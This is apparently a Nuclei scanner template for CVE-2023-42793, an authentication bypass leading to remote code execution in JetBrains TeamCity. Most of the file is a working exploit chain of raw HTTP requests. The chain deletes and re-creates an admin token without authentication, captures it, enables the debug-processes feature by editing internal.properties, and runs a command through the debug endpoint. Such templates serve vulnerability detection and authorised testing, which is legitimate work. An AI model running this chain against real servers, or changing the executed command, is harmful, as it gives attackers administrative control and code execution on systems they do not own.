76 lines
2.5 KiB
YAML
76 lines
2.5 KiB
YAML
id: CVE-2023-42793
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info:
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name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
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reference:
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- https://www.jetbrains.com/privacy-security/issues-fixed/
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- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
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- https://www.sonarsource.com/blog/teamcity-vulnerability
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- https://nvd.nist.gov/vuln/detail/CVE-2023-42793
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- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-42793
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cwe-id: CWE-288
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epss-score: 0.97093
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epss-percentile: 0.99759
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cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 5
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vendor: jetbrains
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product: teamcity
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shodan-query: title:TeamCity
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fofa-query: title=TeamCity
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tags: cve2023,cve,jetbrains,teamcity,rce,auth-bypass,intrusive,kev
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http:
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- raw:
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- |
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DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
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Host: {{Hostname}}
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Authorization: Bearer {{token}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1
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Host: {{Hostname}}
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Authorization: Bearer {{token}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /app/rest/debug/processes?exePath=echo¶ms={{randstr}} HTTP/1.1
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Host: {{Hostname}}
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Authorization: Bearer {{token}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- '<token name="RPC2" creationTime'
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- type: word
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part: body_5
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words:
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- 'StdOut:{{randstr}}'
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extractors:
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- type: regex
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part: body_2
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name: token
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group: 1
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regex:
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- 'value="(.*?)"'
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internal: true
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# digest: 4b0a00483046022100a0a8d6c50952f4effb01060df0202c7d4b82233c3dd026844d87ee050c81df14022100fab5807a55035a6be4eec75621890153266be1927169514cd43d969717d80377:922c64590222798bb761d5b6d8e72950 |